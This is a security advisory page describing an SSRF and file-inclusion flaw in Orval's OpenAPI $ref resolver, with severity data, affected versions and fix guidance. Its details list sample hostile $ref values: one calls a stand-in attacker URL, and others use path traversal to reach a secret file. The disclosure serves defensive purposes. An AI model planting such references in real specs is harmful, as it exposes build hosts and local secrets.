GHSA-cxq5-97v7-87j8

Suggest an improvement
Source
https://github.com/advisories/GHSA-cxq5-97v7-87j8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxq5-97v7-87j8/GHSA-cxq5-97v7-87j8.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-cxq5-97v7-87j8
Aliases
Published
2026-09-02T14:54:48Z
Modified
2026-09-02T15:00:08Z
Severity
  • 7.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N CVSS Calculator
Summary
Orval: Generation-time SSRF + remote/local file inclusion via unrestricted $ref
Details

Summary

Orval resolves OpenAPI $refs by fetching remote http(s) URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running orval on a spec whose $ref points at an attacker/internal URL or an arbitrary local file yields SSRF, remote file inclusion, and local file inclusion. Verified on 8.19.0. This is a different class from Orval's published output-injection CVEs (CVE-2026-22785/23947/24132/25141), none of which covers the $ref resolver.

Details

  • $ref: http://attacker/internal-evil.json#/... → build host fetches (SSRF) and inlines the remote schema (RFI); confirmed property REMOTE_ORVAL_PROP in the generated client.
  • $ref: /abs/path.json#/... or ../../secret.json#/... → out-of-tree local file read + inlined (LFI).

No RCE: on 8.19.0 the description JSDoc is escaped (*/->*\/, the published fix), so $ref content cannot break out into code. The chain stops at SSRF + RFI + LFI.

Fix: don't resolve remote $refs by default (opt-in + host allowlist); confine local $ref resolution to the input directory tree (reject absolute paths and ../ escapes).

PoC

reproduce.sh attached: confirms LFI (out-of-tree read), SSRF (listener hit), RFI (remote schema inlined). Verified on Orval 8.19.0.

Impact

Build-time SSRF from the developer or CI host, disclosure of arbitrary local files, and inclusion of untrusted remote content, from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution (output escaping is in place post the earlier fixes).

Database specific
{
    "cwe_ids":  [
        "CWE-22",
        "CWE-829",
        "CWE-918"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-02T14:54:48Z",
    "nvd_published_at":  "2026-08-19T18:16:54Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / orval

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
8.22.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxq5-97v7-87j8/GHSA-cxq5-97v7-87j8.json"